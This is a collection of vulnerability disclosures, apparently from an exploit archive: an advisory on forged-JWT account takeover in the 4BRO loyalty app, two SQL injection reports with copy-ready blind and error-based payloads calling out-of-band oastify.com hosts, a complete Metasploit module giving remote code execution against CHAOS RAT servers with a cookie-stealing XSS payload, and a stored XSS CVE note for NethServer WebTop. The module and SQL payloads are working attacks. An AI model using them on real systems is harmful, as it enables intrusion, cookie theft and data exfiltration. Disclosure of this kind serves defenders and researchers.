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<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20240522-0 > ======================================================================= title: Broken access control & API Information Exposure product: 4BRO App vulnerable version: before 2024-04-17 fixed version: 2024-04-17 CVE number: - impact: Critical homepage: https://www.4bro.de found: 2023-05-07 by: Max Rull (Office Bochum) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "4BRO is a German company known for producing iced tea beverages. The brand offers a variety of flavors, including unique combinations such as peach, bubblegum, and watermelon mint. 4BRO emphasizes modern and appealing packaging, targeting a younger demographic. The company promotes its products through various platforms and incentivizes customer loyalty with their app, which allows users to collect points for rewards. The company's headquarters is located in Germany, and their products are widely available both online and in retail stores." Source: https://www.4bro.de Business recommendation: ------------------------ The vendor has fixed the security issues in the API server as of 2024-04-17. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Broken access control via IDOR in 4BRO app API An IDOR vulnerability (Insecure Direct Object Reference) allows an attacker to change the username in the Bearer token used for authentication in the 4BRO app. This leads to account takeover as a result of broken access control (poor Bearer token verification). Attackers are able to access all data or Bro points ("broins") from other users. 2) API Information Exposure When opening the app as an unauthenticated user, the 4BRO app loads JSON data from a publicly available API endpoint containing sensitive data like e-mail addresses of employees, internal invoices, a CV including personal information, a gift card etc. Proof of concept: ----------------- 1) Broken access control via IDOR in 4BRO app API When logging in into the 4BRO app, the server returns a JWT (JSON Web Token). The "login" HTTP request looks like this: -------------------------------------------------------------------------------- POST /api/user/signin HTTP/2 Host: adminpanel.4bro.de Content-Type: application/json [...] {"email":"<login email>","password":"<login password>"} -------------------------------------------------------------------------------- The server responds with a JWT used for authentication and additional account-related data: -------------------------------------------------------------------------------- HTTP/2 200 OK Content-Type: application/json; charset=utf-8 [...] { "token": "<JWT here>", "userData": { "isBlocked": false, "_id": "[...]", "userType": "USER", "email": "<login email>", "broins": 0, "deviceId": null, "userCreationDate": "2023-XX-XXTXX:XX:XX.XXXZ", "address": [{ "_id": "[...]", "streetName": "[...]", "streetNumber": "[...]", "postalcode": "[...]", "city": "[...]", "firstName": "[...]", "lastName": "[...]", "country": "at" } ], "ratings": [], "__v": 0, "pushToken": "[...]", "telekomUUID": "[...]" } } -------------------------------------------------------------------------------- Because the JWT is only base64-encoded, it is easy to decode the JWT's header and payload as clear text using JWT decoders like https://token.dev/: -------------------------------------------------------------------------------- Header: { "kid": "[...]", "alg": "RS256" } -------------------------------------------------------------------------------- Payload: { "sub": "[...]", "event_id": "[...]", "token_use": "access", "scope": "aws.cognito.signin.user.admin", "auth_time": 1683565567, "iss": "https://cognito-idp.eu-central-1.amazonaws.com/[...]", "exp": 1683569167, "iat": 1683565567, "jti": "[...]", "client_id": "[...]", "username": "<login email>" } -------------------------------------------------------------------------------- The payload of the JWT contains multiple values indicating that AWS Cognito is in use. By changing the "username" value of the JWT payload to a victim email, it is possible to use the modified JWT for authenticating as the victim. The victim should already have a normally registered account in the 4BRO app. By trial and error, it turns out that even the following modified JWT payload gets accepted by the server: -------------------------------------------------------------------------------- { "sub": "0", "event_id": "0", "token_use": "access", "scope": "aws.cognito.signin.user.admin", "auth_time": 0, "iss": "", "exp": 0, "iat": 0, "jti": "0", "client_id": "0", "username": "<login email>" } -------------------------------------------------------------------------------- Meanwhile, the "kid" property in the JWT header must be a valid value, but can belong to any other already existing 4BRO app account. The JWT signature can be the same and does not get verified at all. Using the modified JWT, all API methods supported by the 4BRO app can be executed. Because the server only checks the "username" property in the JWT payload and does slim to none JWT verification, the server thinks that the request came from the account associated with the login email contained in the "username" property. This way, sensitive data such as the current "broin" balance, full user data as seen in the login response, previous transactions, redeemed vouchers and goodies etc. can be accessed without restrictions, using the 4BRO API. Also, the "sending broins" action can be performed so that earned "broins" could be transferred to an attacker's account balance. 2) API Information Exposure By monitoring the 4BRO app's requests over a proxy, it can be observed that the following HTTP request is made when opening the "Goodies" section of the app: -------------------------------------------------------------------------------- GET /api/goodies?pageSize=1000 HTTP/2 Host: adminpanel.4bro.de [...] -------------------------------------------------------------------------------- The response is a JSON object containing all goodies that are or were at some point available in the 4BRO app: -------------------------------------------------------------------------------- HTTP/2 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 327138 [...] { "goodiesList": [{ "_id": "61950603005c650530b63aac", "name": "1x 4BRO Getränk Imbiss", "longDescription": "[...]", "shortDescription": "Auf unseren Nacken!", "imagePath": "https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/goodies/app_kachel_food_256x256.jpg", "category": "Food", "quantity": 999999999999808, "costOfGoodie": 250, "supplier": "<email removed>", "totalGoodies": 999999999999861, "goodieAvailableTime": "Unlimited", "deliveryMethod": "partnerCoupon", "isNewGoodie": false, "inhouseAppVoucherUrl": "https://broappasset-prod.s3.eu-central-1.amazonaws.com/dev/inhouseAppVouchers/undefined", "__v": 1, "rating": { "value": 3.991869918699184, "total": 123 }, "forceGoodie": "true", "goodieAvailableEndTime": null, "goodieAvailableStartTime": null, "restriction": [], "hidden": false, "slashedCostOfGoodie": null },{ [...] }, [...] } ], "goodieCount": 371 } -------------------------------------------------------------------------------- This JSON object contains already sensitive data such as the goodie supplier's email addresses. Out of the 371 goodies, 36 of those have a URL to a PDF file contained within the "inhouseAppVoucherUrl" property. Because these files are hosted on an AWS S3 bucket, everyone can access these documents without authentication. These documents seem to contain various sensitive company internal and personal information. While discovering vulnerability 1), we found that old gift codes were also stored as PDF files on the AWS S3 bucket. The names of the gift code PDF files indicate that there may be more similarly named documents (IDOR) which could be detected in an automated way. This could be leveraged to find additional gift code PDF files stored on the AWS S3 bucket. Vulnerable / tested versions: ----------------------------- The following app version has been tested and downloaded through Google Play store, which was the most recent version available at the time of the test: * 3.14.7 Because the vulnerability is actually server-side within the API, the iOS app was also affected at the time the vulnerabilities were discovered. Vendor contact timeline: ------------------------ 2023-06-12: Contacting vendor through broservice@4bro.de (owner) and info@dev5310.com (developers according to Google Play store) 2023-06-15: Vendor asks about the risks of the identified vulnerabilities and which parts of the application are affected and whether any costs would arise before they provide us with a security contact. 2023-06-16: Detailed answer regarding risk estimation, responsible disclosure and that no costs are involved. 2023-06-19: Vendor requests a phone conference, scheduled for 21st June. 2023-06-21: Clarifying responsible disclosure, explaining vulnerabilities and next steps in phone call. Providing security advisory to vendor. 2023-06-29: Vendor has sent the advisory to the developer team for evaluation and will notify SEC Consult about the release of the security patch. 2023-08-18: Asking for a status update. 2023-08-31: It is planned to release an Android/iOS app update end of September 2023-09-18: Vendor needs to postpone update, no new date available. 2023-11-08: Asking for a status update; no response. 2023-11-21: Asking for a status update. 2023-12-11: Vendor response, fix is available in test environment, production will be fixed by end of this year. 2024-01-24: Asking for a status update; no response. 2024-02-12: Asking for a status update. 2024-02-12: Vendor is still waiting for a response from their IT. 2024-04-17: Asking for a status update. 2024-04-17: Vendor states that the vulnerabilities have been fixed. 2024-04-17: Asking for the fix date, whether an app update was needed for applying the fix, and the fixed app version. No response. 2024-05-13: Asking vendor again about fixed version, etc., setting preliminary release date to 2024-05-21. No response. 2024-05-22: Release of security advisory Solution: --------- The vendor implemented a fix in the affected API server as of 2024-04-17. An app update on Android or iOS is not required to apply the fix. Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Eviden business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF M. Rull / @2024 </code></pre>

<pre><code>## Titles: Chat Bot - PHP (by: oretnom23 ) v1.0 Multiple SQLi ## Author: nu11secur1ty ## Date: 05/22/2024 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/15316/chatbot-app-suggestion-phpoop-free-source-code.html ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The `kw` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\ 3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+' was submitted in the kw parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all information from the system by using this vulnerability! STATUS: HIGH- Vulnerability [+]Exploits: - SQLi Multiple: ```mysql --- Parameter: kw (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: kw=Write your query here'+(select load_file('\\\\ 3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') OR NOT 5452=5452-- yJrL Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: kw=Write your query here'+(select load_file('\\\\ 3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') AND (SELECT 6898 FROM(SELECT COUNT(*),CONCAT(0x717a6a7171,(SELECT (ELT(6898=6898,1))),0x717a6b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ugYc Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: kw=Write your query here'+(select load_file('\\\\ 3x1lin0l3hlhoereknh4upxdx43xrufli9aw0kp.oastify.com\\rvo'))+'') AND (SELECT 3334 FROM (SELECT(SLEEP(7)))MjoP)-- WPgB --- ``` ## Reproduce: [href](https://www.patreon.com/posts/chat-bot-php-by-104709713) ## Proof and Exploit: [href]( https://www.nu11secur1ty.com/2024/05/mvogms-by-oretnom23-v10-multiple-sqli_22.html ) ## Time spent: 01:19:00 </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Rex::Proto::Http::WebSocket def initialize(info = {}) super( update_info( info, 'Name' => 'Chaos RAT XSS to RCE', 'Description' => %q{ CHAOS v5.0.8 is a free and open-source Remote Administration Tool that allows generated binaries to control remote operating systems. The webapp contains a remote command execution vulnerability which can be triggered by an authenticated user when generating a new executable. The webapp also contains an XSS vulnerability within the view of a returned command being executed on an agent. Execution can happen through one of three routes: 1. Provided credentials can be used to execute the RCE directly 2. A JWT token from an agent can be provided to emulate a compromised host. If a logged in user attempts to execute a command on the host the returned value contains an xss payload. 3. Similar to technique 2, an agent executable can be provided and the JWT token can be extracted. Verified against CHAOS 7d5b20ad7e58e5b525abdcb3a12514b88e87cef2 running in a docker container. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'chebuya' # original PoC, analysis ], 'References' => [ [ 'URL', 'https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc'], [ 'URL', 'https://github.com/tiagorlampert/CHAOS'], [ 'CVE', '2024-31839'], # XSS [ 'CVE', '2024-30850'] # RCE ], 'Platform' => ['linux', 'unix'], 'Privileged' => false, 'Payload' => { 'BadChars' => ' ' }, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultOptions' => { 'WfsDelay' => 3_600, # 1hr 'URIPATH' => '/' # avoid long URLs in xss payloads }, 'DisclosureDate' => '2024-04-10', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ false, 'User to login with']), # admin OptString.new('PASSWORD', [ false, 'Password to login with']), # admin OptString.new('TARGETURI', [ true, 'The URI of the Chaos Application', '/']), OptString.new('JWT', [ false, 'Agent JWT Token of the malware']), OptPath.new('AGENT', [ false, 'A Chaos Agent Binary']) ] ) register_advanced_options( [ OptString.new('AGENT_HOSTNAME', [ false, 'Hostname for a fake agent', 'DC01']), OptString.new('AGENT_USERNAME', [ false, 'Username for a fake agent', 'Administrator']), OptString.new('AGENT_USERID', [ false, 'User ID for a fake agent', 'Administrator']), OptEnum.new('AGENT_OS', [ false, 'OS for a fake agent', 'Windows', ['Windows', 'Linux']]), ] ) end def on_request_uri(cli, request) if request.method == 'GET' && @xss_response_received == false vprint_status('Received GET request.') return unless request.uri.include? '=' cookie = request.uri.split('jwt=')[1] print_good("Received cookie: #{cookie}") send_response_html(cli, '') @xss_response_received = true list_agents(cookie) rce(cookie) end send_response_html(cli, '') end def mac_address @mac_address ||= Faker::Internet.mac_address @mac_address end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' ) return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200 return CheckCode::Detected('Chaos application found') if res.body.include?('<title>CHAOS</title>') CheckCode::Safe('Chaos application not found') end def login vprint_status('Attempting login') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'auth'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 200 res.get_cookies.scan(/jwt=([\w._-]+);*/).flatten[0] || '' end def rce(cookie) data = Rex::MIME::Message.new data.add_part("http://localhost\'$(#{payload.encoded})\'", nil, nil, 'form-data; name="address"') data.add_part('8080', nil, nil, 'form-data; name="port"') data.add_part('1', nil, nil, 'form-data; name="os_target"') # 1 windows, 2 linux data.add_part('', nil, nil, 'form-data; name="filename"') data.add_part('false', nil, nil, 'form-data; name="run_hidden"') post_data = data.to_s res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'generate'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => "jwt=#{cookie}" ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Shellcode rejected: #{res.body}") unless res.code == 200 end def convert_to_int_array(string) string.bytes.to_a end # Retrieve the server's response and pull out the command response. The return value is # the server's response value (or 1 on failure). def recv_wsframe_status(wsock) res = wsock.get_wsframe return 1 unless res begin res_json = JSON.parse(res.payload_data) rescue JSON::ParserError fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.') end command = res_json['command'] return 1 if command.nil? command end def agent_command_handler(cookie) vprint_status('WebSocket connecting to receive commands') headers = { 'Cookie' => "jwt=#{cookie}", 'X-Client' => mac_address } wsock = connect_ws( 'uri' => normalize_uri(target_uri.path, 'client'), 'headers' => headers ) start_time = Time.now.to_i command = 1 while Time.now.to_i < start_time + datastore['WfsDelay'] begin Timeout.timeout(datastore['WfsDelay']) do command = recv_wsframe_status(wsock) end rescue Timeout::Error command = 1 end next if command == 1 vprint_good("Received agent command '#{command}', sending XSS in return") data = { 'client_id' => mac_address, # removed the rickroll from the PoC :( 'response' => convert_to_int_array("</pre><script>var i = new Image;i.src='http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/'+document.cookie;</script>"), 'has_error' => false } wsock.put_wsbinary(JSON.generate(data)) end print_status('Stopping WebSocket connection') end def agent_callback_checkin(cookie) start_time = Time.now.to_i while Time.now.to_i < start_time + datastore['WfsDelay'] print_status('Performing Callback Checkin') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'health'), 'cookie' => "jwt=#{cookie}" ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200 body = { hostname: datastore['AGENT_HOSTNAME'], username: datastore['AGENT_USERNAME'], user_id: datastore['AGENT_USERID'], os_name: datastore['AGENT_OS'], os_arch: 'amd64', mac_address: mac_address, local_ip_address: datastore['SRVHOST'], port: datastore['SRVPORT'].to_s, fetched_unix: Time.now.to_i } res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'device'), 'cookie' => "jwt=#{cookie}", 'data' => body.to_json ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Checkin rejected: #{res.code}") unless res.code == 200 Rex.sleep(30) end print_status('Stopping Callback Checkin') end def fake_agent(server_cookie) # start callback checkins and command handler @threads = [] @threads << framework.threads.spawn('CHAOS-agent-callback', false) do agent_callback_checkin(server_cookie) end @threads << framework.threads.spawn('CHAOS-agent-command-handler', false) do agent_command_handler(server_cookie) end @threads.map do |t| t.join rescue StandardError => e print_error("Error in CHAOS Rat Threads: #{e}") end end # # Handle the HTTP request and return a response. Code borrowed from: # msf/core/exploit/http/server.rb # def start_http_service(opts = {}) # Start a new HTTP server @http_service = Rex::ServiceManager.start( Rex::Proto::Http::Server, (opts['ServerPort'] || bindport).to_i, opts['ServerHost'] || bindhost, datastore['SSL'], { 'Msf' => framework, 'MsfExploit' => self }, opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost), datastore['SSLCert'], datastore['SSLCompression'], datastore['SSLCipher'], datastore['SSLVersion'] ) @http_service.server_name = datastore['HTTP::server_name'] # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => method(:on_request_uri), 'Path' => resource_uri }.update(opts['Uri'] || {}) proto = (datastore['SSL'] ? 'https' : 'http') netloc = opts['ServerHost'] || bindhost http_srvport = (opts['ServerPort'] || bindport).to_i if (proto == 'http' && http_srvport != 80) || (proto == 'https' && http_srvport != 443) if Rex::Socket.is_ipv6?(netloc) netloc = "[#{netloc}]:#{http_srvport}" else netloc = "#{netloc}:#{http_srvport}" end end print_status("Listening for XSS response on: #{proto}://#{netloc}#{uopts['Path']}") # Add path to resource @service_path = uopts['Path'] @http_service.add_resource(uopts['Path'], uopts) end def list_agents(cookie) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'devices'), 'headers' => { 'cookie' => "jwt=#{cookie}" } ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? soup = Nokogiri::HTML(res.body) rows = soup.css('tr') agent_table = Rex::Text::Table.new( 'Header' => 'Live Agents', 'Indent' => 1, 'Columns' => [ 'IP', 'OS', 'Username', 'Hostname', 'MAC' ] ) rows.each do |row| cells = row.css('td') next if cells.length != 7 agent_ip = cells[4].text.strip hostname = cells[1].text.strip agent_table << [agent_ip, cells[3].text.strip, cells[2].text.strip, hostname, cells[5].text.strip] report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "CHAOS C2 Agent Deployed, callback: #{datastore['RHOST']}") end print_good('Detected Agents') print_line(agent_table.to_s) end def exploit unless (datastore['USERNAME'] && datastore['PASSWORD']) || datastore['JWT'] || datastore['AGENT'] fail_with(Failure::BadConfig, 'Username and password, or JWT, or AGENT path required') end fail_with(Failure::BadConfig, 'SRVHOST can not be 0.0.0.0, must be a valid IP address') if Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 @xss_response_received = false if datastore['USERNAME'] && datastore['PASSWORD'] print_status('Attempting exploitation through direct login') cookie = login rce(cookie) elsif datastore['JWT'] print_status('Attempting exploitation through JWT token') vprint_status("Fake MAC for agent: #{mac_address}") start_http_service fake_agent(datastore['JWT']) elsif datastore['AGENT'] print_status('Attempting exploitation through Agent') fail_with(Failure::BadConfig, 'AGENT file not found') unless File.file?(datastore['AGENT']) agent_exe = File.read(datastore['AGENT']) if agent_exe =~ /main\.ServerAddress=(((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4})/ server_address = ::Regexp.last_match(1) vprint_status("Server address: #{server_address}") end if agent_exe =~ /main\.Port=(\d{1,6})/ server_port = ::Regexp.last_match(1) vprint_status("Server port: #{server_port}") end if agent_exe =~ %r{main\.Token=([a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*\.[a-zA-Z0-9_.\-+/=]*)} server_cookie = ::Regexp.last_match(1) vprint_status("Server JWT Token: #{server_cookie}") end fail_with(Failure::BadConfig, 'JWT token not found in agent executable') unless server_cookie vprint_status("Fake MAC for agent: #{mac_address}") start_http_service fake_agent(server_cookie) end end def cleanup # Clean and stop HTTP server if @http_service begin @http_service.remove_resource(datastore['URIPATH']) @http_service.deref @http_service.stop @http_service = nil rescue StandardError => e print_error("Failed to stop http server due to #{e}") end end @threads.each(&:kill) unless @threads.nil? # no need for these anymore super end end </code></pre>

<pre><code>CVE-2024-34058: Nethserver 7 & 8 stored cross-site scripting (XSS) in WebTop package [Suggested description] The WebTop package for NethServer 7 and 8 allows stored XSS (for example, via the Subject field if an e-mail message). ------------------------------------------ [Additional Information] NethServer module installed as WebTop, produced by Sonicle, is affected by a stored cross-site scripting (XSS) vulnerability due to insufficient input sanitization and output escaping which allows an attacker to store a malicious payload as to execute arbitrary web scripts or HTML. If malicious payload code is inserted within the subject field (as an example) of an email, it will be executed once the page is loaded through its frontend. Keep in extreme consideration and urgency that this vulnerability reside in the security-oriented server (and firewalling) distribution called NethServer. ------------------------------------------ [Vulnerability Type] Cross Site Scripting (XSS) ------------------------------------------ [Vendor of Product] Nethesis / Sonicle ------------------------------------------ [Affected Product Code Base] NethServer - 7 NethServer - 8 ------------------------------------------ [Affected Component] Affected component: its mail/webmail module ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Code execution] true ------------------------------------------ [Impact Denial of Service] true ------------------------------------------ [Impact Escalation of Privileges] true ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] Malicious payload inserted within (in example) the subject field of an email will be executed once the page is loaded. ------------------------------------------ [Reference] https://www.nethserver.org https://github.com/NethServer/webtop5 https://github.com/NethServer/ns8-webtop ------------------------------------------ [Discoverer] Intilangelo Andrea Use CVE-2024-34058. Additional info: NethServer is an Open Source operating system for the Linux enthusiast, designed for small offices and medium enterprises. From their website: "It's simple, secure and flexible" and "ready to deliver your messages, to protect your network with the built-in firewall, share your files and much more, everything on the same system." Unauthenticated stored XSS vulnerability due not adequately sanitized input or escaped output for email subject exists in the provided Groupware, a collaboration suite of services accessible via web through any HTML5 browser, smartphone or tablet. It can be leveraged for a nearly zero-click attack. CVSS score: tbd* (but "High") CVSS vector: tbd* CWE: CWE-79 *Needs to be calculated, taking into consideration the initial partial base string "CVSS:3.1/AV:N/AC:L/PR:N" since the Privileges Required of who send the mail with the payload is none as well as User Interaction (who is receiving the mail, just visualizing it could trigger the payload - like, for example, to grab session cookie) despite arguable by someone, Scope and C/I/A (surely from Low to High) must be contextualized from the perspective of the application, what it is used for, contains/impacts and is connected to it: indeed, being a sensitive component "through a modern user interface and a single authentication, it allows access to company mail, calendars, contacts, tasks, documents and much more, in a shared and secure platform" (quoting the product description), that means any kind of highly confidential information, even connected cloud instance (also outside the private network) and mobile devices synchronization. https://www.cve.org/CVERecord?id=CVE-2024-34058 Discovered and reported by Andrea Intilangelo Timeline: 2024-01-03: Vulnerability discovered, kept as private 0day for further verification 2024-01-16: Request for CVE reservation & Multi-Party vulnerability coordination and disclosure 2024-04-23: Contacts with vendor for: details, acknowledgments and to coordinate the responsible disclosure 2024-04-30: Assigned CVE number: CVE-2024-34058 2024-05-06: Vendor agreed to the proposed responsible disclosure date (May 17) 2024-05-10: Shared a PoC requested by the vendor showing the vulnerability 2024-05-17: Disclosure </code></pre>

<pre><code>## Titles: TENANT-LIMITED-1.0 SQLi ## Author: nu11secur1ty ## Date: 05/20/2024 ## Vendor: https://mayurik.com/ ## Software: https://www.sourcecodester.com/php/17375/best-courier-management-system-project-php.html ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The username parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\ h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\lmh'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all information from the system by using this vulnerability! STATUS: HIGH- Vulnerability [+]Exploits: - SQLi Multiple: ```mysql --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: username=nlWcgulD'+(select load_file('\\\\ h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\lmh'))+'' OR NOT 7856=7856 OR 'qylg'='WmKA&password=q7L!w3j!P7 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=nlWcgulD'+(select load_file('\\\\ h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\lmh'))+'' AND (SELECT 5737 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT (ELT(5737=5737,1))),0x7171786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) OR 'bruW'='pbdw&password=q7L!w3j!P7 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=nlWcgulD'+(select load_file('\\\\ h7pme8qbgdftj9mizgk6u4aj0a63uuill9dw3ks.oastify.com\\lmh'))+'' AND (SELECT 4762 FROM (SELECT(SLEEP(7)))iyAW) OR 'ryQj'='epQU&password=q7L!w3j!P7 --- ``` ## Reproduce: [href](https://www.patreon.com/posts/tenant-limited-1-104585030) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/05/tenant-limited-10-sqli.html) ## Time spent: 00:39:00 </code></pre>